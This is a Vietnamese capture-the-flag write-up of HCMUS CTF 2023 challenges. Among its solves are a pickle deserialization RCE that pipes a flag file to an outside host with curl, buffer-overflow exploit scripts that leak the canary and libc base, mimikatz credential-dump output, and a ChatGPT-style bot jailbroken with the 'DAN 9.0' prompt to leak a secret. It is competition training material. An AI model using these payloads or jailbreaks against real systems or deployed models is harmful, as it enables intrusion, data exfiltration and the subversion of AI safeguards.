# HCMUS CTF 2023 QUALS WRITEUP ## WEB ### Safe Proxy Ở bài này chương trình là một ứng dụng proxy site, `/proxy/?url=http://127.0.0.1/....` sử dụng param url và trả về một đoạn svg là một capture của browser truy cập url Ban đầu mình cũng đã thử các protocol nhưng đều bị fail hết, mình đã nghĩ là các protocol này đều bị chặn hết nên đã bỏ qua và stuck rất lâu :)) Sau khi hint được release thì mình quay lại xem có bỏ sót điều gì hay không và mình phát hiện ra `view-source:...` không bị chặn gì hết :) ![](https://hackmd.io/_uploads/rkh_zlUEn.png) Một điều nữa là `view-source:file:///` có thể list dir luôn :0 và mình có thể thấy được flag tại đó là `/h3r3_1z_f14g` ![](https://hackmd.io/_uploads/SyupfgIEh.png) `Flag: HCMUS-CTF{browser_scheme_is_interesting!}` ### Cute Quote Challenge cho mình source code ![](https://hackmd.io/_uploads/SkyAJUr4n.png) Trong file app.js ```javascript= const express = require('express') const app = express() const port = 3000 app.use(express.json()) app.use(express.static('css')) app.get('/', (req, res) => { res.sendFile('./index.html', { root: __dirname }) }) const quotes = ['Insanity: doing the same thing expecting different results', '{{7*7}}', '<?php system("whoami"); ?>', '42 is the Answer to the Ultimate Question of Life, the Universe, and Everything'] app.get('/api/public/quote', (req, res) => { let quote = quotes[Math.floor(Math.random() * quotes.length)] res.send(quote) }) app.get('/api/public/fake', (req, res) => { res.send("HMCSU-CFT{fake_flag}") }) const flag = process.env.FLAG || "HCMUS-CTF{real_flag}" app.get('/api/private/flag', (req, res) => { res.send(flag) }) app.listen(port, () => { console.log(`Example app listening on port ${port}`) }) ``` Theo như source code thì mình chỉ cần truy cập đến `/api/private/flag` là có flag Mà trong file `nginx.conf` location đến `/api/private/` là 403, vậy nên mình cần bypass chỗ này ```còn= upstream loadbalancer { server web:3000; } server { listen 80; server_name _; location / { proxy_pass http://loadbalancer; } location /api/private/ { return 403; # disable private api } } ``` Cuối cùng mình chỉ cần bypass bằng cách truy cập đến `/api/PrIvAtE/flag` là có flag :) `Flag: HCMUS-CTF{when_nginx_meet_express}` ## CRYPTO ### bootleg aes enc.sh ```bash echo "$(cat pad.bin)$FLAG" > flag.bin ls -alF ./pad.bin x=$(openssl rand -hex 32) echo $x openssl enc -aes-256-cbc -K $x -iv $(openssl rand -hex 16) -in flag.bin -out ciphertext.bin ``` log.txt ``` -rw-r--r-- 1 hoang hoang 256 Apr 2 13:03 ./pad.bin c9a391c6f65bbb38582044fd78143fe72310e96bf67401039b3b6478455a1622 ``` Các lệnh thực thi trong file sh này có response được lưu trong file log - Như mình có thể thấy trong file enc.sh thì chương trình thực hiện pad trước flag là nội dung của file `pad.bin` và lưu vào trong file `flag.bin` - `ls -alF ./pad.bin` trả về `-rw-r--r-- 1 hoang hoang 256 Apr 2 13:03 ./pad.bin` nên mình có thể biết được độ dài của file pad này là 256 - `x=$(openssl rand -hex 32)` khởi tạo biến x được random 32 bytes lưu ở dạng hex - `echo $x` được trả về trong file log `c9a391c6f65bbb38582044fd78143fe72310e96bf67401039b3b6478455a1622` - `openssl enc -aes-256-cbc -K $x -iv $(openssl rand -hex 16) -in flag.bin -out ciphertext.bin` thực hiện thuật toán mã hoá AES 256 MODE CBC để mã hoá nội dung trong file `flag.bin` với key là `$x` và iv được random 16 bytes, kết quả trả về trong file `ciphertext.bin` Vì mình đã có key nên mình có thể decrypt được ciphertext từ block thứ 2 trở đi, mà đoạn đầu của flag đã được pad thêm 256 bytes rồi nên việc decrypt không ảnh hưởng gì đến flag hết ```bash openssl enc -d -aes-256-cbc -iv "00000000000000000000000000000000" -K "c9a391c6f65bbb38582044fd78143fe72310e96bf67401039b3b6478455a1622" -S "" -in ciphertext.bin -out flag` ``` `flag: HCMUS-CTF{it5_c4ll3d_pr1v4t3_k3y_crypt09raphy_f0r_4_r3450n}` ### Falsehood prob.py ```python= import os import numpy as np from sage.all import ComplexField, PolynomialRing from Crypto.Cipher import AES from Crypto.Util.Padding import pad import random from binascii import hexlify FLAG = os.getenv('FLAG', "FLAG{this is a real flag}") bits = 1111 C = ComplexField(bits) P = PolynomialRing(C, names='x') (x,) = P.gens() key_array = np.random.choice(256, size=(16,)) key = b''.join([int(i).to_bytes(1, 'big') for i in key_array]) f = sum([coeff * x**i for i, coeff in enumerate(key_array)]) hint = [] for _ in range(16): X = random.randint(10**8, 10**10) Y = int(abs(f(X))) while [X, Y] in hint: X = random.randint(10**8, 10**10) Y = int(abs(f(X))) hint.append([X, Y]) cip = AES.new(key, AES.MODE_CBC) ct = cip.encrypt(pad(FLAG.encode(),16)) iv = cip.iv with open('output.txt', 'w') as file: file.write(str(hint)+'\n') print(f"ct = {hexlify(ct).decode()}, iv = {hexlify(iv).decode()}", file=file) ``` Đề bài cho mình flag được mã hóa bằng AES CBC mode, key được tạo bằng cách tạo 1 mảng key random gồm rồi gộp tất cả các bytes của phần tử trong mảng đó lại thành key. Từng phẩn tử trong key_array được làm hệ số của hàm `f(x)=k0.x^0 + k1.x^1 +…+k15.x^15` Hint đã cho mình các điểm rồi thì mình thế vào là tìm được key Code tìm key sử dụng Lagrange bằng sage: ```python= R.<x> = PolynomialRing(QQ) points = [[8833677163, 7159466859734884050485160017085648949938620549936739498951806707835448713685207536552299918328868591349533273061478374089984223260577742322460362334647], [1762352339, 226021067407224282748442153993506422184559341973942542463611713009302649608941949660293486972516731321467369225717344439888178648461773300463], [6814325828, 145915445591160853098610646953738314537732696913127480076359637783667652244881400087606152610739138506056218199806589240306741950875956525839170443027], [7865890147, 1255960511416167089973436987379886082394930531153251392262351559661203914293720867397614316726175343133363293139291718249474745356688772183204229822751], [3446680058, 5293859406843167459297872689128502546567761548640003856519557803475599388573073027426285178678302790672452768542207529392596772806973985884693237], [5877771652, 15883583178415793156782570756223737797760371065858523945056072346852806064052610100332389954372845836435762293469821829936427366159434784004504398291], [5589586633, 7472281200056449019563455444999813482028446397663996508394508567670602924631065370355170602075256758870709465268255309886778027432655593535614166637], [1175276268, 518629639886914674796931012497083502361229856009622285824810204881645367508380387007577326543311405957619591605841895258801496781885398507], [3312651249, 2920072124198357353277671402963439479294095254775553378538026906919501392975483266953780010186413153114694525677661955925502702904273824951901573], [1690420045, 120969905638890571692249167310237577968012605711450331530578304692989016303379573026678222839813088165787719888874515256743894818676147474521], [8298141391, 2802013920829536770649820952830225273137583982204944734413323800249577243089166668778583649665043009034143120874987986020037964205143133245123290632883], [733386150, 439287044309927586596972381366960178061704411347096135895831191742005839221734048948610767236121358802659929070752762370822244956535801], [7897145685, 1332938401210287323326359805632057169759318295533885927320250339098837407040892547133970478663396358868892779722453565866390506758764909670000617998161], [9797888335, 33864534898740204255025855638155912349784294672865719351405048784504660475905319925895086755774471151890089727930776090169445401259844048317273142069811], [4557234547, 349364318043137479854576449493426376983315472777226775365310579193760250715517761090058069937282741206013319707277840448237966901906357292702335951], [7667001731, 855344863189641492213600127143839128290386097202448105626863527763958015786114563445357087338205788545215994676722500375202243293047596358065835329663]] R.lagrange_polynomial(points) ``` Sau khi chạy code ta có đa thức f(x) như sau: `poly = 46*x^15 + 201*x^14 + 113*x^13 + 44*x^12 + 154*x^11 + 78*x^10 + 203*x^9 + 175*x^8 + 3*x^7 + 24*x^6 + 106*x^5 + 171*x^4 + 9*x^3 + 144*x^2 + 31*x + 151` lấy các bytes coeff của nó, giải mã AES CBC có key, iv là xong ```python= from sage.all import * from Crypto.Cipher import AES from Crypto.Util.Padding import unpad from binascii import unhexlify with open('output.txt', 'r') as file: hint = eval(file.readline()) C = ComplexField(1111) P = PolynomialRing(C, names='x') (x,) = P.gens() poly = 46*x**15 + 201*x**14 + 113*x**13 + 44*x**12 + 154*x**11 + 78*x**10 + 203*x**9 + 175*x**8 + 3*x**7 + 24*x**6 + 106*x**5 + 171*x**4 + 9*x**3 + 144*x**2 + 31*x + 151 coeffs = [int(round(float(c.real()))) for c in poly.coefficients()] print(coeffs) key = bytes(coeffs) print(key) ct = "be205fd34ebe59af55ea11fec9aea50197fbf35d5b52c650a6c9563186625e8b6021ba31db538fa4b60c69a42c96ee3bebaba53ac9afa9c3c185d4d0b145bc8251d892c243f1aa4037aeea003714e24c" iv = "370abc6fce33f812de7b88daaa82e4c4" cip = AES.new(key, AES.MODE_CBC, unhexlify(iv)) pt = unpad(cip.decrypt(unhexlify(ct)), 16) print(pt.decode()) ``` `flag: HCMUS-CTF{just_because_you're_correct_doesn't_mean_you're_right}` ### M side prob.py ```python= from Crypto.Util.number import getStrongPrime, bytes_to_long as b2l, isPrime import os FLAG = os.getenv('FLAG', 'FLAG{hue_hue_hue}').encode() p = getStrongPrime(512) q = getStrongPrime(512) while not isPrime(4 * p * p + q * q): p = getStrongPrime(512) q = getStrongPrime(512) hint = 4 * p * p + q * q e = 65537 print(f"hint: {hint}") # n for wat? print(f"ct: {pow(b2l(FLAG), e, p * q)}") """ hint: 461200758828450131454210143800752390120604788702850446626677508860195202567872951525840356360652411410325507978408159551511745286515952077623277648013847300682326320491554673107482337297490624180111664616997179295920679292302740410414234460216609334491960689077587284658443529175658488037725444342064697588997 ct: 8300471686897645926578017317669008715657023063758326776858584536715934138214945634323122846623068419230274473129224549308720801900902282047728570866212721492776095667521172972075671434379851908665193507551179353494082306227364627107561955072596424518466905164461036060360232934285662592773679335020824318918 """ ``` Nhập hints lên alpertron tìm (2p)^2 + q^2 là có p, q, giải mã RSA. ```python= p=19253294223314315727716037086964210594461001022934798241434958729430216563195726834194376256655558434205505701941181260137383350002506166062809813588037666//2 ct=8300471686897645926578017317669008715657023063758326776858584536715934138214945634323122846623068419230274473129224549308720801900902282047728570866212721492776095667521172972075671434379851908665193507551179353494082306227364627107561955072596424518466905164461036060360232934285662592773679335020824318918 q=9513749018075983034085918764185242949986187938391728694055305209717744257503225678393636438369553095045978207938932347555839964566376496993702806422385729 e=65537 pi=(p-1)*(q-1) from Crypto.Util.number import * d=pow(e,-1,pi) print(long_to_bytes(pow(ct,d,p*q))) ``` `flag: HCMUS-CTF{either_thu3_0r_3uclid_wh1ch3v3r_it_t4k35}` ### CRY1 Challenge cho mình một file server.py ```python= import time import random import threading import socketserver import os FLAG_FILE = os.getenv("FLAG") PORT = int(os.getenv("APP_PORT")) HOST = "0.0.0.0" assert FLAG_FILE is not None, "Environment variable FLAG not set" assert PORT is not None, "Environment variable APP_PORT not set" class Service(socketserver.BaseRequestHandler): def handle(self): self.flag = self.get_flag() self.user_id = int(time.time()) self.send(f"Welcome\n") assert len(self.flag) == 26 self.send( f"Here is your encoded flag: {self.encode(self.flag, self.gen_key(self.user_id, len(self.flag)))}\n" ) def get_flag(self): with open(FLAG_FILE, "r") as f: return f.readline() def encode(self, data, key): return sum([a * ord(b) for a, b in zip(key, data)]) def gen_key(self, user_id, n): random.seed(user_id) return [random.randrange(1024) for i in range(n)] def send(self, string: str): self.request.sendall(string.encode("utf-8")) def receive(self): return self.request.recv(1024).strip().decode("utf-8") class ThreadedService( socketserver.ThreadingMixIn, socketserver.TCPServer, socketserver.DatagramRequestHandler, ): pass def main(): service = Service server = ThreadedService((HOST, PORT), service) server.allow_reuse_address = True server_thread = threading.Thread(target=server.serve_forever) server_thread.daemon = True server_thread.start() print("Server started on " + str(server.server_address) + "!") # Now let the main thread just wait... while True: time.sleep(10) if __name__ == "__main__": main() ``` Chương trình tạo key bằng hàm `gen_key()` trả về 1 mảng có 26 phần tử, mỗi phần tử được `random.randrange(1024)` với seed được khởi tạo bằng `random.seed(user_id)` mà `user_id` ở đây chính là thời gian hiện tại `time.time()` ```python= def gen_key(self, user_id, n): random.seed(user_id) return [random.randrange(1024) for i in range(n)] ``` Về hàm `encode()` thì chương trình thực hiện tính sum của tích từng kí tự của flag với key tương ứng ```python= def encode(self, data, key): return sum([a * ord(b) for a, b in zip(key, data)]) ``` Để giải challenge này thì mình chỉ cần gen ra 26 phương trình để giải phương trình 26 ẩn ```python= from pwn import * import time import random import os from z3 import * def gen_key(user_id): random.seed(user_id) return [random.randrange(1024) for i in range(26)] seed = [] encoded = [] for i in range(26): p = process('ncat --ssl cry1.chall.ctf.blackpinker.com 443'.split()) t = int(time.time()) p.recvuntil(b'flag: ') flag_enc = int(p.recvline().strip()) seed.append(t) encoded.append(flag_enc) p.close() time.sleep(1) arr = [Int(f'x{i}') for i in range(26)] s = Solver() for i in range(26): s.add(And(0x20 < arr[i], arr[i] < 0x7f)) s.add(arr[0:10] == list(map(ord, 'HCMUS-CTF{'))) s.add(arr[25] == ord('}')) for i in range(26): data = gen_key(seed[i]) s.add(sum([a * b for a, b in zip(arr, data)]) == encoded[i]) while s.check() == sat: model = s.model() print(''.join([chr(model[x].as_long()) for x in arr])) s.add(Or([arr[i] != model[arr[i]] for i in range(10, 26)])) ``` `Flag: HCMUS-CTF{the_EASIEST_0ne}` ## PWN ### python is safe ![](https://hackmd.io/_uploads/SyI8zLLEn.png) Đề cho ta một file python như trên, khởi tạo `buf1`, `buf2` sau đó `gets buf1`. Để `buf2` có `HCMUS-CTF` thì ta sẽ lợi dụng buffer overflow ở hàm `gets`. Tiếp theo ta tạo payload : ![](https://hackmd.io/_uploads/rkw9XLLE2.png) Flag : `HCMUS-CTF{pYt40n_4rE_s|U|Perrrrrrr_5ecureeeeeeeeeeee}` ### coin mining Đề cho ta 1 file libc, 1 file binary Đầu tiên ta checksec ![](https://hackmd.io/_uploads/B1caEUUN2.png) Tiếp theo vào ida coi thử ![](https://hackmd.io/_uploads/rk7SHL8V2.png) Ta thấy có lỗi buffer overflow ở biến `buf`, ngoài ra hàm `printf` cũng có thể được dùng để leak canary, libc Do đó ý tưởng sẽ là leak libc, leak canary, cuối cùng là overwrite return address của main thành `one_gadget` ![](https://hackmd.io/_uploads/BkoBIUUEn.png) Ở đây mình dùng địa chỉ đầu tiên phát ăn ngay. Tiếp theo viết script, ở đây ta gdb tính offset như bình thường Script: ```python= from pwn import * exe = ELF("coin_mining_patched") libc = ELF("libc.so.6") p = process(exe.path) p.sendline(b'1') payload = b'a'*103 p.sendline(payload) p.recvuntil(b'a'*103+b'\n') libc_leak = p.recvn(6) + b'\x00\x00' libc_leak = u64(libc_leak) libc.address = libc_leak-275593 print('LIBC LEAK : ',hex(libc_leak)) print('LIBC BASE : ',hex(libc.address)) payload = b'a'*136 p.sendline(payload) p.recvuntil(b'a'*136+b'\n') cana_leak= u64(b'\x00'+ p.recvn(7)) print('CANA LEAK : ',hex(cana_leak)) payload = b'notHMCUS-CTF{a_coin_must_be_here}\n\x00'+ b'a'*101 + p64(cana_leak) + b'a'*8 +p64(libc.address+0x4f2c5) p.sendline(payload) print(len(payload)) p.interactive() ``` Flag: `HCMUS-CTF{gA1n_coin_everyday_better_c01n_better_he4th}` ### string chan Đề cho ta 1 file binary Đầu tiên ta `checksec` ![](https://hackmd.io/_uploads/SJ1vvUL4h.png) Tiếp theo vào ida xem thử ![](https://hackmd.io/_uploads/H1_juUINn.png) Đề sẽ in ra các options để lựa chọn, trong đó: - Chọn 1,2 để tạo và in ra C-style string - Chọn 3,4 để tạo và in ra C++ string - Chọn khác các option trên sẽ thoát vòng lặp, thoát chương trình Ngoài ra cũng ra cũng có hàm này không được gọi ở đâu nhưng sẽ cho ta shell ![](https://hackmd.io/_uploads/B1SWKL8V3.png) Tiếp theo vào gdb debug xem hướng giải: - Khi ta chọn 1 và nhập full A, thì thấy ở đây có buffer overflow do sài `cin` ![](https://hackmd.io/_uploads/S1x0FU8V2.png) - Chọn 3 thì sẽ nhập vào con trỏ có sẵn trên stack. Nếu nhập quá độ dài cho phép thì nó sẽ cấp phát động địa chỉ heap thay vì nhập trên stack do implement của string trong C++ ![](https://hackmd.io/_uploads/rJawqIUV3.png) Tới đây ta có hướng giải là ghi đè địa chỉ stack kia thành một địa chỉ nào đó trong `got` thành địa chỉ chỗ hàm lấy shell kia do có `no pie` và `partial relro` Ta thấy khi ta chọn option bất kỳ thì thấy nó sẽ gọi hàm ở `0x401180` để in ra byte, nhưng địa chỉ này lại không ghi được, thay vào đó có địa chỉ `0x404048` cho phép ta ghi ![](https://hackmd.io/_uploads/rkTy1v8Nn.png) Cuối cùng viết script: ```python= from pwn import * exe = ELF("chall") p = process(exe.path) p.sendlineafter(b'choice: ',b'1') p.sendlineafter(b'c_str: ',b'a'*32+p64(0x404048)) p.sendlineafter(b'choice: ',b'3') p.sendlineafter(b'str: ',p64(0x4016de)) p.sendline(b'5') p.interactive() ``` Flag: `HCMUS-CTF{it's_ok_i_still_love_you}` ### Pickle Trouple Challenge cho mình một file server.py ```python= import pandas as pd import io import time import threading import socketserver import sys from io import StringIO import secrets import os import numpy as np FLAG_FILE = "flag.txt" PORT = int(os.getenv("APP_PORT")) HOST = "0.0.0.0" original_stdout = sys.stdout class Service(socketserver.BaseRequestHandler): def handle(self): captured_output = StringIO() sys.stdout = captured_output self.flag = self.get_flag() token = secrets.token_bytes(16) self.send(b"Gimme your pickle data size (send as byte string)\n") data_size = int(self.request.recv(64).decode()) self.send(b"Gimme your pickle data frame (raw bytes)\n") pickle_data = self.receive(data_size) df = pd.read_pickle(io.BytesIO(pickle_data)) try: if bytes(np.random.choice(df["x"], size=16)) == token: print(self.flag) else: raise Exception("Oh no!") except Exception as e: print("Oops, you missed it!") print(e) self.send(captured_output.getvalue().encode()) sys.stdout = original_stdout def get_flag(self): with open(FLAG_FILE, 'rb') as f: return f.readline() def send(self, s: str): self.request.sendall(s.encode("utf-8")) def send(self, b: bytes): self.request.sendall(b) def receive(self, b = 1024): data = b"" while len(data) != b: data += self.request.recv(256) return data class ThreadedService(socketserver.ThreadingMixIn, socketserver.TCPServer, socketserver.DatagramRequestHandler): pass def main(): service = Service server = ThreadedService((HOST, PORT), service) server.allow_reuse_address = True server_thread = threading.Thread(target=server.serve_forever) server_thread.daemon = True server_thread.start() print("Server started on " + str(server.server_address) + "!") # Now let the main thread just wait... while True: time.sleep(10) if __name__ == "__main__": main() ``` Chương trình cho phép mình nhập độ dài của pickle data và pickle data frame rồi sau đó sử dụng pd.read_pickle để đọc object Mình để ý `pd.read_pickle` này có chức năng cũng giống như `pickle.loads()` nên mình xác định từ đầu đây là lỗi `data serialization in Python with pickle`, mình có thể khai thác lỗi này bằng cách tạo một object mới sử dụng `__reduce__` để RCE rồi sau đó pickle.dumps và gửi lên server solve.py ```python= from pwn import * import pickle import os class PickleRce(): def __reduce__(self): cmd = "cat flag.txt | curl -d @- r1y7b2aw.requestrepo.com" return (os.system,(cmd,)) io=process('ncat --ssl pickle-trouble-4d44b9115f4a0ada.chall.ctf.blackpinker.com 443'.split()) data=pickle.dumps(PickleRce()) io.sendline(str(len(data)).encode()) io.sendline(data) io.interactive() ``` `Flag: HCMUS-CTF{S||\/|pL3_p1cKlE_ExpL01t-Huh}` ## MISC ### Sanity check JOIN DISCORD VÀ TÌM FLAG ![](https://hackmd.io/_uploads/SyS4UeLV2.png) `FLAG: HCMUS-CTF{simple_sanity_check}` ### Grind Bài này cho 3 cái SQLite3 database, mình dùng công cụ SQLiteStudio để mở ![](https://hackmd.io/_uploads/Hy0c8SH43.png) Sau đấy thực hiện đoạn truy vấn trên. ```sql= SELECT df.rank, df.uid, df.name, d3.points - d2.points AS point_difference, df.points FROM data_64_day3.ranking d3 JOIN data_64_day2.ranking d2 ON d3.name = d2.name JOIN data_64_final.ranking AS df ON d3.uid = df.uid WHERE d3.name REGEXP '[0-9]' AND d3.points - d2.points > 900000000 AND df.rank > 5000 ORDER BY point_difference DESC; ``` Sort kết quả theo rank, đọc lần lượt để tìm cái gì đó có vẻ liên quan tới "a mathematical million-dollar problem" thì mình tìm thấy cái này khá đáng nghi vì trông nó giống ký hiệu toán học. ![](https://hackmd.io/_uploads/Hy7AtSrE3.png) Search google thì kết quả wiki hiển thị nó là hàm zeta Riemann (https://vi.wikipedia.org/wiki/H%C3%A0m_zeta_Riemann) Và hàm Riemann thì lại thuộc ``Millennium Prize Problems`` ![](https://hackmd.io/_uploads/Hy7B_rHEh.png) Đến đây thì chuẩn, hoàn toàn chuẩn đây là name mà cần tìm rồi. ζ(2)=π2/6 = 1.64493406685 ~ 1.6449340668 nếu làm tròn 10 số. Wrap flag theo đề bài thôi: ``HCMUS-CTF{23983477-1.6449340668-2391789368-9614}`` ### japanese Bài này cho ta 1 file ``huh.txt`` và 1 đoạn chữ tiếng Nhật, tác giả bảo nó là lyrics bài nào đấy (mình không lưu description lại nên là không nhớ nó như nào mà nó cũng không cần thiết lắm). Tác giả có mô tả bạn mình là 1 thằng wibu, và mọi thứ trong máy tính anh ta đều là tiếng Nhật. Và tác giả yêu cầu mình tìm cái bài hát có chứa lyrics bên trên. Well thì như mình nói là cái đoạn chữ tiếng Nhật nó không search ra gì cả nên mình tập trung vào cái ``huh.txt``. Mở file đấy lên thì thấy 1 đống ký tự không đọc được ![](https://hackmd.io/_uploads/r1-ytVLBE3.png) Đề bài có nhắc đến chuyện bạn của tác giả thích đọc thông qua console nên mình nghĩ nó sẽ là kiểu mã hoá ký tự của ngôn ngữ gì đấy. Mình ném lên CyberChef để nó bruteforce Character Encoding thì ra được đây là ``Japanese`` (như đề bài cho thì tác giả để ngôn ngữ hoàn toàn là tiếng Nhật nên là những ký tự được mã hoá theo kiểu ``Japanese Shift`` thay vì UTF-8 như trong Tiếng Anh) ![](https://hackmd.io/_uploads/HkA2tIB42.png) Sau khi search đoạn lyrics tiếng Nhật vừa decode thì mình tìm được bài là 威風堂々 (Ifuudoudou), mình search thông tin original song thì tìm được trang này https://vocadb.net/S/17673/related Tác giả bảo flag theo dạng: HCMUS-CTF{songname-artist1_artist2...} và artist sắp xếp theo thứ tự alphabet tương ứng với chữ cái đầu của họ. Mình thử khá nhiều flag và flag đúng là ``HCMUS-CTF{ifuudoudou-gumi_hatsunemiku_ia_kagaminerin_megurineluka}`` ## FORENSICS ### Kiwi Bài này cho ``Minidump`` ![](https://hackmd.io/_uploads/Hk6scSB42.png) Nhìn dung lượng thì có thể đoán rằng đây là ``lsass.dmp``. Tuy nhiên, vì bị đổi tên nên không thể chắc chắn nó có phải là ``lsass.dmp`` hay không nên mình ném vào ``Windbg`` để xác định. Vào ``Windbg``, mở file ``Minidump``, sau đó dùng lệnh ``!analyze -v`` để phân tích file ``Minidump`` đấy, ta có thể dễ dàng thấy được đây là ``lsass.dmp`` ![](https://hackmd.io/_uploads/SkHuoBHE3.png) Với ``lsass.dmp`` thì phổ biến nhất là dùng Mimikatz để xem credential. ``` .#####. mimikatz 2.2.0 (x64) #18362 Feb 29 2020 11:13:36 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) ## \ / ## > http://blog.gentilkiwi.com/mimikatz '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com ) '#####' > http://pingcastle.com / http://mysmartlogon.com ***/ mimikatz # sekurlsa::minidump Kiwi Switch to MINIDUMP : 'Kiwi' mimikatz # sekurlsa::logonpasswords all Opening : 'Kiwi' file for minidump... Authentication Id : 0 ; 287159 (00000000:000461b7) Session : Interactive from 1 User Name : hcmusctf Domain : HCMUS Logon Server : HCMUS Logon Time : 07/05/2023 3:19:58 SA SID : S-1-5-21-2385635905-2323104132-2454383018-1000 msv : [00000003] Primary * Username : hcmusctf * Domain : HCMUS * NTLM : 4b46c72c1ff4b6d7b90143cde874e03d * SHA1 : 029fb493dfc0bd68b6a702ffa4746599894e0fe9 tspkg : wdigest : * Username : hcmusctf * Domain : HCMUS * Password : HCMUS-CTF{DuMp_cL34r_t3x1_p4sSw0rD_8y_WD1g3sT_4n|)_m1MiK4zt} kerberos : * Username : hcmusctf * Domain : HCMUS * Password : (null) ssp : KO credman : Authentication Id : 0 ; 287118 (00000000:0004618e) Session : Interactive from 1 User Name : hcmusctf Domain : HCMUS Logon Server : HCMUS Logon Time : 07/05/2023 3:19:58 SA SID : S-1-5-21-2385635905-2323104132-2454383018-1000 msv : [00000003] Primary * Username : hcmusctf * Domain : HCMUS * NTLM : 4b46c72c1ff4b6d7b90143cde874e03d * SHA1 : 029fb493dfc0bd68b6a702ffa4746599894e0fe9 tspkg : wdigest : * Username : hcmusctf * Domain : HCMUS * Password : HCMUS-CTF{DuMp_cL34r_t3x1_p4sSw0rD_8y_WD1g3sT_4n|)_m1MiK4zt} kerberos : * Username : hcmusctf * Domain : HCMUS * Password : (null) ssp : KO credman : Authentication Id : 0 ; 997 (00000000:000003e5) Session : Service from 0 User Name : LOCAL SERVICE Domain : NT AUTHORITY Logon Server : (null) Logon Time : 07/05/2023 3:19:17 SA SID : S-1-5-19 msv : tspkg : wdigest : * Username : (null) * Domain : (null) * Password : (null) kerberos : * Username : (null) * Domain : (null) * Password : (null) ssp : KO credman : Authentication Id : 0 ; 67303 (00000000:000106e7) Session : Interactive from 1 User Name : DWM-1 Domain : Window Manager Logon Server : (null) Logon Time : 07/05/2023 3:19:17 SA SID : S-1-5-90-0-1 msv : tspkg : wdigest : * Username : HCMUS$ * Domain : WORKGROUP * Password : (null) kerberos : ssp : KO credman : Authentication Id : 0 ; 67230 (00000000:0001069e) Session : Interactive from 1 User Name : DWM-1 Domain : Window Manager Logon Server : (null) Logon Time : 07/05/2023 3:19:17 SA SID : S-1-5-90-0-1 msv : tspkg : wdigest : * Username : HCMUS$ * Domain : WORKGROUP * Password : (null) kerberos : ssp : KO credman : Authentication Id : 0 ; 996 (00000000:000003e4) Session : Service from 0 User Name : HCMUS$ Domain : WORKGROUP Logon Server : (null) Logon Time : 07/05/2023 3:19:17 SA SID : S-1-5-20 msv : tspkg : wdigest : * Username : HCMUS$ * Domain : WORKGROUP * Password : (null) kerberos : * Username : hcmus$ * Domain : WORKGROUP * Password : (null) ssp : KO credman : Authentication Id : 0 ; 46163 (00000000:0000b453) Session : Interactive from 1 User Name : UMFD-1 Domain : Font Driver Host Logon Server : (null) Logon Time : 07/05/2023 3:19:16 SA SID : S-1-5-96-0-1 msv : tspkg : wdigest : * Username : HCMUS$ * Domain : WORKGROUP * Password : (null) kerberos : ssp : KO credman : Authentication Id : 0 ; 46164 (00000000:0000b454) Session : Interactive from 0 User Name : UMFD-0 Domain : Font Driver Host Logon Server : (null) Logon Time : 07/05/2023 3:19:16 SA SID : S-1-5-96-0-0 msv : tspkg : wdigest : * Username : HCMUS$ * Domain : WORKGROUP * Password : (null) kerberos : ssp : KO credman : Authentication Id : 0 ; 45190 (00000000:0000b086) Session : UndefinedLogonType from 0 User Name : (null) Domain : (null) Logon Server : (null) Logon Time : 07/05/2023 3:19:16 SA SID : msv : tspkg : wdigest : kerberos : ssp : KO credman : Authentication Id : 0 ; 999 (00000000:000003e7) Session : UndefinedLogonType from 0 User Name : HCMUS$ Domain : WORKGROUP Logon Server : (null) Logon Time : 07/05/2023 3:19:16 SA SID : S-1-5-18 msv : tspkg : wdigest : * Username : HCMUS$ * Domain : WORKGROUP * Password : (null) kerberos : * Username : hcmus$ * Domain : WORKGROUP * Password : (null) ssp : KO credman : ``` Vậy flag là: ``HCMUS-CTF{DuMp_cL34r_t3x1_p4sSw0rD_8y_WD1g3sT_4n|)_m1MiK4zt}`` ## AI ### Social Engineering Bài này là lỗi jail break của ChatGPT. Để lấy được flag thì mình cần biến con bot này thành một con bot có thể làm bất cứ yêu cầu gì mà mình đưa ra. Payload mình lấy ở đây: https://www.jailbreakchat.com/ Mình sử dụng payload DAN 9.0 để gửi cho jason ![](https://hackmd.io/_uploads/HyS3fHrNn.png) Rồi mình bắt nó đưa cho mình code của jason ![](https://hackmd.io/_uploads/H1psfrHVn.png) `Flag: HCMUS-CTF{L4rge_L&nguag3_M[]del_Pr0mpT_Inj3cTION}` ## REV+CRY ### Is This Crypto? Mở file main bằng IDA và đọc source code cùng con ghệ ChatGPT thì mình biết được các thông tin sau: Đầu tiên chương trình cho mình nhập 2 chuỗi v12 và v13 ![](https://hackmd.io/_uploads/Skb6LHBNn.png) Mình cần phải nhập 2 chuỗi v12 và v13 sao cho `check(v12, v13) == 1` ![](https://hackmd.io/_uploads/rJ6zDrH4n.png) Trong hàm check thì chương trình thực hiện mã hoá SHA224 với 2 chuỗi của mình và sau đó kiểm tra các đoạn có bằng mảng v8, v9 hay không. Nói cách khác thì v8, v9 chính là SHA224 của chuỗi mình cần nhập để hàm check này trả về 1 ![](https://hackmd.io/_uploads/HyhR_BB4h.png) Chuyển v8, v9 về hex và nối lại là mình được đoạn SHA224 của v12, v13 mà mình cần nhập vào Dùng tool để decrypt và mình được 2 chuỗi cần tìm ``` ACB7842B5DFEBCAF33801F1C4F3FB333A8F98777CE40F926EC339422:recis D63687D258B1472F475B89F9E3CDCD5DEB67EA7B8FF26308D0E9E10E:cannibalization ``` Sau đó chương trình sử dụng hàm enc để mã hoá flag và ghi kết quả vào file `./flag.txt.enc`, trong đó v9 là SHA256 của v12 và v10 là MD5 của v13 ![](https://hackmd.io/_uploads/H1B25rrNn.png) Trong hàm enc thì mình biết được đây là mã hoá AES MODE CBC với key là v9 và IV là v10 ![](https://hackmd.io/_uploads/HklHNsrHN2.png) Cả key và IV mình đã tìm ra được rồi nên giờ mình chỉ cần decrypt nữa là xong :) solve.py ```python= from Crypto.Cipher import AES import hashlib key=hashlib.sha256(b'recis').digest() iv=hashlib.md5(b'cannibalization').digest() print(key) print(iv) cipher=AES.new(key,AES.MODE_CBC,iv) ciphertext=open(r"flag.txt.enc",'rb').read() print(cipher.decrypt(ciphertext)) ``` `Flag: HCMUS-CTF{r_u_ready_for_fREddy?}`